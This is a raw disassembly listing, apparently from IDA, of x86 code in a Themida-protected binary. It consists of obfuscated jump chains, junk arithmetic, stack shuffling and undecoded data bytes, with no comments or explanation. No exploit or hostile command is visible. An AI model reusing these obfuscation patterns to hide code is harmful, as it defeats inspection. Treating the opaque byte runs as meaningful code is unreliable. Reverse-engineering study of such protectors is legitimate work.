81E68900h dd 4C6h, 4C68100h, 87000000h, 335C2434h, 2C31242Ch, 242C3324h dd 61E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9FE: ; CODE XREF: Themida_:005476E3j mov dh, 3Dh xor dh, 52h or ah, dh mov edx, [esp] add esp, 4 jmp loc_54A443 ; --------------------------------------------------------------------------- dd 581C4709h, 0FFB4DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BA19: ; CODE XREF: Themida_:0054DE33j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push edx mov edx, 60AD36F1h xor edx, 0CB1C2Bh or edx, 1DEA7128h xchg ebx, edx not ebx jmp loc_54835C ; --------------------------------------------------------------------------- loc_54BA4A: ; CODE XREF: Themida_:00547CD0j add esi, 1FE96841h and edx, esi jmp loc_54E9B5 ; --------------------------------------------------------------------------- loc_54BA57: ; CODE XREF: Themida_:0054E354j push dword ptr [esp] jmp loc_550339 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 9CC88500h, 0FFB487E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BA6D: ; CODE XREF: Themida_:0054BE3Dj mov [esp], ebx mov eax, [esp] push esi sub esp, 4 jmp loc_550283 ; --------------------------------------------------------------------------- loc_54BA7C: ; CODE XREF: Themida_:0054D130j add ecx, 4 jmp loc_549C6E ; --------------------------------------------------------------------------- db 56h dd 3CFAE9h, 5C355A00h, 0E9235A2Fh, 3766h ; --------------------------------------------------------------------------- loc_54BA98: ; CODE XREF: Themida_:0054944Cj jmp loc_546EF4 ; --------------------------------------------------------------------------- db 5Ah, 87h, 34h dd 24248B24h, 0E9E28952h, 0FFFFF7C9h, 0C281E289h, 4, 4C281h dd 0CAE90000h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BABF: ; CODE XREF: Themida_:0054DE1Fj mov eax, esp add eax, 4 jmp loc_548CD9 ; --------------------------------------------------------------------------- loc_54BACB: ; CODE XREF: Themida_:0054766Aj add ebx, 6F915149h jmp loc_5477E0 ; --------------------------------------------------------------------------- dw 0D800h dd 1AB05051h, 0FFF738E9h, 81E389FFh, 4C3h, 66EBE900h, 0DA890000h dd 3E24E9h, 243C2900h, 1C7835Fh, 2919E9h db 0 ; --------------------------------------------------------------------------- loc_54BB01: ; CODE XREF: Themida_:0054E6F4j push dword ptr [esp+4] pop edi jmp loc_54D035 ; --------------------------------------------------------------------------- db 81h dd 7C2F95C7h, 0E874E928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB16: ; CODE XREF: Themida_:0054A90Cj add esp, 4 add esp, 4 jmp loc_54C79E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 21000000h, 1C8B1C5Fh, 4C48324h, 0FFB3BFE9h, 62CF81FFh dd 0E901EB3Eh, 507Dh ; --------------------------------------------------------------------------- loc_54BB40: ; CODE XREF: Themida_:005517BBj push bx mov bl, 0F6h xor ah, bl pop bx shr ah, 2 jmp loc_54C102 ; --------------------------------------------------------------------------- dd 0FD7967BEh, 9DC68143h, 0E9BC0286h, 3970h, 0BF7E7EBAh dd 0E2814254h, 2FAE515Eh, 697DE9h, 19E95900h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB77: ; CODE XREF: Themida_:0055016Dj push ecx mov ecx, 5D83220Ch shl ecx, 3 sub ecx, 0EC19105Fh jmp loc_5505BE ; --------------------------------------------------------------------------- db 81h dd 693718EFh, 0E9CF0101h, 0FFFFC425h, 0FE6855ADh, 5D103B75h dd 6188E9h, 0E9E28900h, 3E55h, 87E95157h, 0F7FFFFF9h, 0A45C05D8h dd 0EF8159A3h, 28AE41B7h, 0C781C701h, 28AE41B7h, 5224048Bh dd 0FFFFD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BBD1: ; CODE XREF: Themida_:0054E7A1j sub esp, 4 mov [esp], ebx mov ebx, 54556D0Eh xor ebp, ebx pop ebx and ebp, 4BEC5BDDh jmp loc_54B6C0 ; --------------------------------------------------------------------------- aIbsSSch db 'Ié',0Dh,0Dh,'~‘)Èéçh',0 align 4 loc_54BBF8: ; CODE XREF: Themida_:005473A0j pop eax add esp, 4 push eax push esp pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] jmp loc_550099 ; --------------------------------------------------------------------------- loc_54BC17: ; CODE XREF: Themida_:0054E35Bj mov al, 0Ah shr al, 6 or al, 5 jmp loc_5473BB ; --------------------------------------------------------------------------- db 89h dd 0C1B7241Ch, 0FFE90FE9h, 0E9805BFFh, 80C1FE39h, 7DE9C2E9h dd 31FFFFE2h, 8B555BDDh, 99E92404h, 5500002Ah, 0E92414F7h dd 467Bh, 0C42F3DBDh, 0E9E90142h, 707Dh, 0E9243C89h, 52DDh dd 0C158C629h, 48E903E6h, 51FFFFDFh, 0E95D5955h, 0FFFFD946h dd 240C8B66h, 6ED7E9h, 0A7B100h, 2C5966CAh, 4D00021h, 24148B21h dd 22AEE9h, 2434FF00h, 4C4835Bh, 0E9240C8Bh, 0FFFFFE7Dh dd 8B2434FFh, 89572404h, 4C781E7h, 68000000h, 313Ch, 0BA241489h dd 574F1C4Bh, 61B7EA81h, 0CA811C3Ah, 5B245B6Dh, 666ECA81h dd 0A1E94760h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCD7: ; CODE XREF: Themida_:00552D79j xor eax, offset word_49027E and [edi+1Ch], eax pop eax jmp loc_5514B1 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0C2810000h, 4, 2EB168h, 14EBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCFE: ; CODE XREF: Themida_:0054D454j pop ecx xor esi, [esp] xor [esp], esi jmp loc_54A82E ; --------------------------------------------------------------------------- loc_54BD0A: ; CODE XREF: Themida_:0055080Dj pop eax jmp loc_54F0C5 ; --------------------------------------------------------------------------- dd 515DEF01h, 6F6FE9h db 0 ; --------------------------------------------------------------------------- loc_54BD19: ; CODE XREF: Themida_:0054B44Cj mov ebx, edi jmp loc_5478F1 ; --------------------------------------------------------------------------- dd 5C240C87h, 0E9243433h, 89Bh, 74B85055h, 0BD50B41Bh dd 7DE69BB3h, 48BC531h, 7EF36824h, 3C890000h, 4EC8324h dd 81242489h, 42404h, 5BE90000h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD57: ; CODE XREF: Themida_:0054E09Ej mov ebp, ecx jmp loc_54C9DD ; --------------------------------------------------------------------------- loc_54BD5E: ; CODE XREF: Themida_:0054A3F3j pop ecx jmp loc_54786E ; --------------------------------------------------------------------------- loc_54BD64: ; CODE XREF: Themida_:0054C7F0j shr eax, 10h xor eax, ecx xor eax, edi xor edi, eax jmp loc_547502 ; --------------------------------------------------------------------------- dw 8B66h dd 2C68240Ch, 89000043h, 5EE9240Ch, 55000042h, 21ACEBDh dd 0D5F74D48h, 0F4ED814Dh, 29B732BDh, 0E4B8E9EEh, 0C681FFFFh dd 4, 4C681h, 34870000h, 0C7815C24h, 4, 5704C783h, 42474FFh dd 0FFE2ADE9h, 0F50858FFh, 24148B66h, 2C481h, 0C5800000h dd 4D7DE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BDD2: ; CODE XREF: Themida_:0055237Ej mov eax, 42240E9h and eax, 75DC3025h sub eax, 26C57D12h xor eax, 2142521Ch shr eax, 1 dec eax add eax, 0E922D589h and edi, eax jmp loc_548CB6 ; --------------------------------------------------------------------------- loc_54BDF5: ; CODE XREF: Themida_:0054EA2Aj and ebx, ebp pop ebp shl ebx, 5 xor ebx, 180A4801h sub esp, 4 mov [esp], ebx mov ecx, [esp] add esp, 4 jmp loc_547322 ; --------------------------------------------------------------------------- db 0E9h, 0DAh, 0B0h dd 0C681FFFFh, 4, 5C243487h, 3BE3E9h db 0 ; --------------------------------------------------------------------------- loc_54BE29: ; CODE XREF: Themida_:005511BDj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp loc_54BE38: ; CODE XREF: Themida_:0054B7FAj push 2900h jmp loc_54BA6D ; --------------------------------------------------------------------------- dw 1C89h dd 88E95224h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE4B: ; CODE XREF: Themida_:0054D782j add esi, ebx add esi, 450B2C35h pop ebx push ecx mov ecx, 62036118h not ecx dec ecx sub ecx, 9DFC9EE2h add esi, ecx pop ecx xchg esi, [esp] pop esp or edx, eax shl edx, 1 jmp loc_54FBDB ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 0B84AE924h, 1489FFFFh, 53E28924h, 493F46BBh dd 26BD5543h, 81252D37h, 6D6E42EBh, 81EB017Fh, 6D6E42C3h dd 0F6E95D7Fh, 0B0FFFFD6h, 92BE90Eh, 0E9510000h, 10DFh dd 8C23962Dh, 0D3BB534Dh, 81783A08h, 57381BC3h, 25CB8170h dd 8120BA10h, 194755EBh, 0F564E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BED2: ; CODE XREF: Themida_:0054CCD0j add esp, 4 push esi push 185F4669h pop esi dec esi neg esi or esi, 75962A7Ch add esi, 3D9C9908h mov eax, esi pop esi xor eax, edx pop edx inc eax push ebp mov ebp, 57FD58ADh xor ebp, 4E9D2738h not ebp or ebp, 25735D1Bh jmp loc_54ED4F ; --------------------------------------------------------------------------- loc_54BF0B: ; CODE XREF: Themida_:0054E113j mov esi, esp add esi, 4 push 7681h mov [esp], ebx mov ebx, 4 add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_549F1B ; --------------------------------------------------------------------------- db 81h, 0C1h, 0E5h dd 29C5998Bh, 240C8BC8h, 4C481h, 0DBE90000h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF43: ; CODE XREF: Themida_:0054ABCDj and ebx, 13C0433Dh xor ebx, 73312EEBh add ebx, 8DCE920Eh add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5483CE ; --------------------------------------------------------------------------- dd 8904EC83h, 86BD242Ch, 6863FE36h, 7E7Fh, 0E9241C89h dd 0FFFFEE3Ah, 1A00BA52h, 0BE56566Eh, 54BC0341h, 2245E94Eh dd 34330000h, 24343124h, 8B243433h, 31E92424h, 0B800004Dh dd 4E4A290Eh, 61776205h, 0E9D0F77Ch, 0FFFFB120h, 805AD500h dd 0C500B4C5h, 0FFBBDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BFCD: ; CODE XREF: Themida_:005493A1j push ebx mov ebx, 4 add ecx, ebx jmp loc_54C2DE ; --------------------------------------------------------------------------- dw 0FF66h dd 0AF12E932h, 158FFFFh db 0D0h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx jmp loc_54E0F8 ; --------------------------------------------------------------------------- a34LS3 db '34$‹$$é3+',0 dw 5800h dd 85E944B5h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C00F: ; CODE XREF: Themida_:0054B9C7j push ebp mov ebp, 55F246A4h jmp loc_54A326 ; --------------------------------------------------------------------------- loc_54C01A: ; CODE XREF: Themida_:00552187j mov [esp], ebx jmp loc_547F37 ; --------------------------------------------------------------------------- dw 0CD01h dd 6464E9h db 0 ; --------------------------------------------------------------------------- loc_54C029: ; CODE XREF: Themida_:00548AD0j shr cl, 5 jmp loc_54B248 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E95A5452h, 0FFFFD7A6h, 405h, 4E88300h, 0FFECBAE9h dd 5FF831FFh, 48BC301h, 0E0895024h, 405h, 0D04DE900h, 1C87FFFFh dd 14865C24h, 0AE8AE924h, 0BA52FFFFh, 6AD2510Ch, 0BCAC58B8h dd 0E3BAE9AFh, 1C87FFFFh, 0CD35C24h, 6DE99C24h, 80FFFFAEh dd 885BF6C1h, 0EB8059CBh, 9EC38001h, 0D9E9EB00h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C09B: ; CODE XREF: Themida_:00551FD1j push edi mov edi, 95BBEEA1h sub edx, edi mov edi, [esp] add esp, 4 and eax, edx mov edx, [esp] jmp loc_54A3A9 ; --------------------------------------------------------------------------- dw 0C681h dd 0F240E12Ch, 525EF001h, 0B4A0E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0C6: ; CODE XREF: Themida_:0054B4B4j add esp, 4 or ebx, eax pop eax sub ebx, 146BE02Eh add esi, ebx pop ebx jmp loc_5477B9 ; --------------------------------------------------------------------------- dw 0E0C1h dd 0CBE94004h, 5E000061h, 5C241487h, 9C242CD3h, 0FFAE03E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C0F1: ; CODE XREF: Themida_:00547BB7j xchg eax, ecx push 4AEEh jmp loc_54B6FB ; --------------------------------------------------------------------------- loc_54C0FC: ; CODE XREF: Themida_:00548CB1j push ebp jmp loc_5479CD ; --------------------------------------------------------------------------- loc_54C102: ; CODE XREF: Themida_:0054BB4Bj shr ah, 7 jmp loc_549C08 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFE326E9h, 0C8B66FFh, 67D26824h, 14890000h, 0E9E28924h dd 0FFFFB72Fh, 6624248Bh, 2404AB0Fh, 0ADBEE99Ch, 0CB81FFFFh dd 1ADF1180h, 1AFFEB81h, 0D9897BFFh, 81241C8Bh, 4C4h, 33C56800h dd 0D0E90000h, 53FFFFC1h, 5B2414F6h, 5603EBC0h, 0C681E689h dd 4, 4EE81h, 0BEE90000h, 89000030h, 0C80158C1h, 0FFBDD4E9h dd 2EC83FFh, 241C8966h, 0D828EDB3h, 19E4E9h, 47C90500h dd 68E9640Eh db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C197: ; CODE XREF: Themida_:0055075Ej and ecx, eax pop eax shr ecx, 0 or eax, eax jz loc_550EEB push 6F68h mov [esp], edi push 34D0h mov [esp], ebx push dword ptr [esp] pop edi jmp loc_5494B0 ; --------------------------------------------------------------------------- loc_54C1BE: ; CODE XREF: Themida_:00547BDEj add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebx mov ebx, 640A4495h xor ebx, 640A4491h add eax, ebx pop ebx push ecx mov ecx, 2 jmp loc_5509C2 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd offset loc_41F266+2 dd 24348900h, 0C681E689h, 4, 8704C683h, 0D3E92434h, 8BFFFFC7h dd 0C483240Ch, 80EA0004h, 2859B7C2h, 148B66D0h, 2C48324h dd 8904EC83h, 15B22414h, 807EEA80h, 0EAC02AEAh, 66D2F602h dd 0C78EE951h, 0E950FFFFh, 0FFFFFC6Bh, 4240483h, 0E92434FFh dd 0FFFFB896h, 56C6EE81h, 87585FCFh, 0BCE92434h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C253: ; CODE XREF: Themida_:0054B804j mov esi, 28FB62DBh xor [esp+4], esi pop esi mov ecx, [esp] sub esp, 4 mov [esp], eax push esp mov eax, [esp] add esp, 4 push edi mov edi, 4 sub eax, 6791464h add eax, edi add eax, 6791464h pop edi add eax, 4 xchg eax, [esp] mov esp, [esp] push 3AF4h mov [esp], ebx mov ebx, 1BBA0439h shr ebx, 2 xor ebx, 29F8509Eh jmp loc_548166 ; --------------------------------------------------------------------------- dd 3959C681h, 0F129921Fh, 0ACC7E95Eh, 148BFFFFh, 5F3AE924h dd 0E9530000h, 3CFEh, 262D6856h, 4890000h, 6BF36824h, 48B497Bh dd 2F30E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C2DE: ; CODE XREF: Themida_:0054BFD5j pop ebx add ecx, 4 xchg ecx, [esp] pop esp and eax, ecx jmp loc_549FC4 ; --------------------------------------------------------------------------- loc_54C2F0: ; CODE XREF: Themida_:0054FFA5j add eax, 16C30923h sub eax, esi sub eax, 16C30923h sub eax, 52C13231h pop esi sub eax, ecx push ebp push esi push 446D429Ah pop esi and esi, 715C7E2Eh inc esi add esi, 0C53FFC32h jmp loc_54D2F4 ; --------------------------------------------------------------------------- aSsB db 'Sé#B',0 align 4 loc_54C324: ; CODE XREF: Themida_:005506ACj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 1 jmp loc_54C960 ; --------------------------------------------------------------------------- db 2Dh dd 609E5547h, 0F748D0F7h, 630F05D8h, 0C729F845h, 5FF92958h dd 0C159CB21h, 0F38106EBh, 47B586F2h, 555BD801h, 171CE9h db 0 ; --------------------------------------------------------------------------- loc_54C365: ; CODE XREF: Themida_:00550014j mov ebx, 68C77D77h mov ecx, ebx pop ebx mov ebp, 0AEBDDFC5h sub ebp, ecx pop ecx push eax mov eax, esp jmp loc_54DEB3 ; --------------------------------------------------------------------------- loc_54C37D: ; CODE XREF: Themida_:00551492j mov [esp], ecx push edi mov edi, 0C8471BAh mov ecx, 42D107A0h jmp loc_54C904 ; --------------------------------------------------------------------------- aPQ4S4a db 'P¸ßQ4<é4a',0 db 0 ; --------------------------------------------------------------------------- loc_54C39B: ; CODE XREF: Themida_:00552A35j mov ecx, 0 sub ecx, esi mov esi, ecx pop ecx xor esi, 47DA7778h add edx, esi pop esi and eax, edx mov edx, [esp] push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx pop ebx push eax jmp loc_54DE17 ; --------------------------------------------------------------------------- dw 6852h dd 305457F6h, 9DC3815Ah, 15AC57Ah, 9DBA52D3h, 0E95AC57Ah dd 1885h, 0C8BCE01h, 0CCF9E924h, 0C8BFFFFh, 4EC8324h, 89243C89h dd 4C781E7h, 50000000h, 5E5BF57h, 77B85EE9h, 316C6222h dd 0CAF1E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C412: ; CODE XREF: Themida_:0054B6F6j or eax, eax jmp loc_549B65 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8104C483h, 0EFF88DEEh, 5EF231B1h, 0FFED41E9h, 0E9E189FFh dd 0FFFFFB58h, 0E9241487h, 901h ; --------------------------------------------------------------------------- loc_54C43C: ; CODE XREF: Themida_:0054AFA9j push ecx mov ecx, 4281381Fh xor edi, ecx pop ecx add eax, edi pop edi sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_546F45 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 20685524h, 8900001Ah, 4832424h, 525D0424h, 4931E9h dd 0E9E68900h, 0FFFFF922h, 5058C301h, 2B8h, 58C30100h dd 2474FF53h, 241C8B04h, 81E68956h, 4C6h, 4C68300h, 31243433h dd 11E92434h, 5CFFFFBBh, 2A5BEB81h, 0C681D5C7h, 5C2A3D80h dd 0EE81DE01h, 5C2A3D80h, 1C77095Bh, 8324348Bh, 69E904C4h dd 100000Bh, 0ACEB81FBh, 5F21D33Bh, 4BF57h, 0FB010000h dd 241C875Fh, 0FF24248Bh, 34FF2434h, 0C4815A24h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54AC93 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHT db '$hÌT',0 align 2 dw 2C89h dd 81E58924h, 4C5h, 0F2685300h, 5B693935h, 81E28952h, 4C2h dd 4EA8300h, 8B241487h, 44E92424h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C52F: ; CODE XREF: Themida_:0055262Cj pop ebx add esp, 4 shl ebx, 3 sub esp, 4 mov [esp], esi push ebp mov ebp, 2DF222DBh mov esi, 7A47A575h add esi, ebp pop ebp xor ebx, esi pop esi jmp loc_54DD4E ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED810000h, 4, 3DA4E9h db 0 ; --------------------------------------------------------------------------- loc_54C565: ; CODE XREF: Themida_:005486ABj mov edx, [esp] jmp loc_54B1A1 ; --------------------------------------------------------------------------- db 0B5h, 36h, 66h dd 1B450h, 0E95866E5h, 2B7Dh, 7B73C2BFh, 5FFA0156h, 0A4DC281h dd 4E97CE2h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C58F: ; CODE XREF: Themida_:00548B58j pop ecx add ecx, 59F4D01h push dword ptr [esp] pop ebx add esp, 4 push 275Dh mov [esp], edi push ebx push 541D61F1h pop ebx sub esp, 4 jmp loc_551888 ; --------------------------------------------------------------------------- db 66h dd 0B966515Fh, 0C16601B0h, 0F6E903E9h, 31000005h, 34332434h dd 24248B24h, 4BB0F66h, 19E99C24h, 81FFFFA9h, 4C7h, 4EF8300h dd 8B243C87h, 1C892424h, 2BB24h, 0D8010000h, 0E9241C8Bh dd 29AEh, 24048B66h, 4EC81h, 39E90000h, 29FFFFD3h, 0FCEF81EFh dd 8B1E0112h, 0C483242Ch, 5EE95904h, 5900002Bh, 6333EF81h dd 0CF016FEBh, 6333C781h, 0EBE96FEBh, 0BAFFFFFCh, 51F8490Eh dd 8245429h, 0CB60E95Ah, 8957FFFFh, 4C781E7h, 56000000h dd 43F1E9h db 0 ; --------------------------------------------------------------------------- loc_54C651: ; CODE XREF: Themida_:0054C81Ej pop edi mov ecx, ebp pop ebp jmp loc_552578 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED830000h, 242C8704h, 61E0E95Ch, 0EA810000h dd 343527D5h, 0C281EA29h, 343527D5h, 83242C8Bh, 92E904C4h dd 66FFFFE7h, 53240C8Bh, 32E95B54h, 83FFFFDFh, 896602ECh dd 0B3532414h, 5BDE88ABh, 5A66F028h, 6852D828h, 35C6h dd 2603E9h db 0 ; --------------------------------------------------------------------------- loc_54C6B1: ; CODE XREF: Themida_:0054890Aj pop ebx push dword ptr [esp] pop eax push ecx mov ecx, esp jmp loc_54D12A ; --------------------------------------------------------------------------- loc_54C6BE: ; CODE XREF: Themida_:00547837j mov esp, [esp] mov [esp], ecx push ebx mov ecx, [esp] add esp, 4 jmp loc_552867 ; --------------------------------------------------------------------------- db 5Dh dd 1E2BE9h, 51056800h, 0C890000h, 0E9E18924h, 252Bh, 55894035h dd 0C5895542h, 4581E9h, 242C8700h, 0C89665Ch, 64EBE924h dd 47880000h, 4BDE938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C70A: ; CODE XREF: Themida_:00549301j add cl, 54h jmp loc_54FEC8 ; --------------------------------------------------------------------------- dw 8B66h dd 8957240Ch, 68BA52E7h, 836AFE05h, 0E2C1FFEAh, 0FFEA8108h dd 57FFFFFFh, 56905BFh, 5FFA31FEh, 148BD701h, 67846824h dd 14890000h, 506E924h, 462D0000h, 0E94F6652h, 0FFFFDFC6h dd 43E9E801h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C757: ; CODE XREF: Themida_:00550E3Aj mov esp, [esp] push 67A2h mov [esp], ebp push 542Eh mov [esp], eax jmp loc_547308 ; --------------------------------------------------------------------------- db 5Dh dd 31241433h, 14332414h, 0EC815C24h, 4, 0E9243C89h, 0FFFFE9F9h ; --------------------------------------------------------------------------- loc_54C788: ; CODE XREF: Themida_:00548F7Aj push edx mov dl, ch push ebx mov ebx, 0 sub ebx, 15402E7Eh add ebx, eax jmp loc_54D81F ; --------------------------------------------------------------------------- loc_54C79E: ; CODE XREF: Themida_:0054BB1Cj and ecx, edx push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_552278 ; --------------------------------------------------------------------------- loc_54C7B4: ; CODE XREF: Themida_:005529D7j pop eax push ebx mov ebx, 17C87931h push edi jmp loc_54719D ; --------------------------------------------------------------------------- loc_54C7C1: ; CODE XREF: Themida_:00548598j add edx, esi pop esi jmp loc_54987B ; --------------------------------------------------------------------------- db 58h, 0E9h, 0F7h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7CF: ; CODE XREF: Themida_:00550E50j pop esi jmp loc_54EEE5 ; --------------------------------------------------------------------------- db 34h, 0DDh, 24h dd 2CC0FEC4h, 0C2885281h, 2CF5E9h db 0 ; --------------------------------------------------------------------------- loc_54C7E5: ; CODE XREF: Themida_:00552427j and eax, edi mov edi, [esp] add esp, 4 jmp loc_54BD64 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 3004C483h, 0B6525BD8h, 47D04A5h, 28972CE4h, 3ACFE9F0h dd 8EBB0000h, 293AB876h, 241C8BDEh, 54EDE9h db 0 ; --------------------------------------------------------------------------- loc_54C81D: ; CODE XREF: Themida_:0054CEFAj pop edx jmp loc_54C651 ; --------------------------------------------------------------------------- loc_54C823: ; CODE XREF: Themida_:0054F0B0j push ebp mov ebp, 255663Fh push ecx mov ecx, 59D530AFh push edx mov edx, 7EF14BBAh not edx not edx neg edx jmp loc_5513B2 ; --------------------------------------------------------------------------- dd 0B8240489h, 2, 37BBE9h, 0E1E95B00h, 0F700001Dh, 53BD55DAh dd 812AC20Ch, 0A71892F5h, 7EDC114h, 0FFD517E9h, 66AD66FFh dd 0C6BB6653h, 0D801664Eh, 241C8B66h, 6602C483h, 665A642Dh dd 6655D801h, 663096BDh, 6AF2F581h, 5DE80166h, 0B855E955h dd 0C8BFFFFh, 0E6895624h, 4C681h, 0C6830000h, 5F89E904h dd 0B9510000h, 5DC470B8h, 5953C981h, 0C1812CAAh, 68F77704h dd 2AE9D9F7h, 8100000Ch, 4ECh, 24048900h, 5BD9E9h db 0 ; --------------------------------------------------------------------------- loc_54C8D1: ; CODE XREF: Themida_:00552273j pop ebx sub ebx, 48553B23h shl ebx, 3 jmp loc_5528B1 ; --------------------------------------------------------------------------- dd 68C0B70Fh, 523Eh, 54241C89h, 327DE9h, 24148700h, 0FFBC63E9h dd 0EFC380FFh, 0E92EF380h, 0FFFFD3B9h ; --------------------------------------------------------------------------- loc_54C904: ; CODE XREF: Themida_:0054C38Bj add ecx, edi pop edi jmp loc_54A634 ; --------------------------------------------------------------------------- aAirfysty db '€ërfYéâY',0 align 2 dw 0C481h dd 4, 6EB4C381h, 0C32936C9h, 6EB4BD55h, 0EB2936C9h, 97BA525Dh dd 5779564Ah, 366272BFh, 0ADEF8139h, 0E9552352h, 0FFFFC969h ; --------------------------------------------------------------------------- loc_54C944: ; CODE XREF: Themida_:0054871Bj mov eax, [esp] add esp, 4 jmp loc_550C97 ; --------------------------------------------------------------------------- loc_54C952: ; CODE XREF: Themida_:0054D81Aj xchg ebx, [esp] pop esp add ecx, edx mov edx, [esp] jmp loc_54EC05 ; --------------------------------------------------------------------------- loc_54C960: ; CODE XREF: Themida_:0054C336j and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi jmp loc_551F43 ; --------------------------------------------------------------------------- dd 104BF57h, 0E7816BD4h, 29D74D59h, 105EF81h, 0FA31AA5Fh dd 5AD7015Fh, 5C243C87h, 8904EC83h, 96E9242Ch, 87000007h dd 7BE9240Ch, 81000034h, 4C6h, 4C68300h, 0E9243487h, 0FFFFD354h ; --------------------------------------------------------------------------- loc_54C9B8: ; CODE XREF: Themida_:00550DE5j push dword ptr [esp] jmp loc_54F7B0 ; --------------------------------------------------------------------------- dd 4EA81h, 14870000h, 0AE54E924h, 5859FFFFh, 0B2525159h dd 5AD1883Fh, 1FE6E9h db 0 ; --------------------------------------------------------------------------- loc_54C9DD: ; CODE XREF: Themida_:0054BD59j pop ecx sub esp, 4 mov [esp], edx mov edx, 20h add edx, 2C87452Dh add edx, edi sub esp, 4 mov [esp], edi mov edi, 2C87452Dh sub edx, edi pop edi jmp loc_5486A9 ; --------------------------------------------------------------------------- loc_54CA04: ; CODE XREF: Themida_:0054FE49j xchg edi, ecx jmp loc_54FC5C ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 0E9582434h, 0FFFFD956h, 0A4D6E95Ah, 0E95FFFFFh dd 0FFFFE65Dh, 2B951h, 0C3810000h, 8846BF5h, 0EB81CB01h dd 8846BF5h, 83240C8Bh, 0EC8304C4h, 241C8904h, 42474FFh dd 24048F5Bh, 2944E95Ch, 0CF310000h, 5FF92959h, 0E9240C33h dd 2816h, 7F2F37BDh, 0E9EE295Bh, 171Fh, 31241C33h, 16E9241Ch dd 81000012h, 5476B6CDh, 99F58113h, 2945372Bh, 565B5DEFh dd 0B541A0BEh, 0E9D6F728h, 410Eh, 0FFA45BE9h, 7FCABDFFh dd 81452593h, 0D346DBEDh, 5DEE8901h, 368E684Eh, 0C890000h dd 291CB924h, 32E9459Dh, 52000062h, 6A68E289h, 0E900006Dh dd 345h, 4EC81h, 4890000h, 617AE924h, 0FF560000h, 5E042474h dd 5BCFE9h db 0 ; --------------------------------------------------------------------------- loc_54CAE1: ; CODE XREF: Themida_:00547B16j ; Themida_:0054EBCDj ... push 0E4Fh mov [esp], ebp mov ebp, ebx push esi push esp pop esi jmp loc_54AACB ; --------------------------------------------------------------------------- db 81h dd 42404h, 2C8B0000h, 0C1E95524h, 1000023h, 4620E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB0A: ; CODE XREF: Themida_:0054A974j xor edx, 1EC42F5h mov ebp, edx push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 push ebx jmp loc_5488E7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp xor dl, 71h sub al, dl mov edx, [esp] push ebx jmp loc_54FB7A ; --------------------------------------------------------------------------- loc_54CB47: ; CODE XREF: Themida_:005488ACj mov esp, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_54B6B9 ; --------------------------------------------------------------------------- loc_54CB6B: ; CODE XREF: Themida_:00550186j pop esp add eax, 2 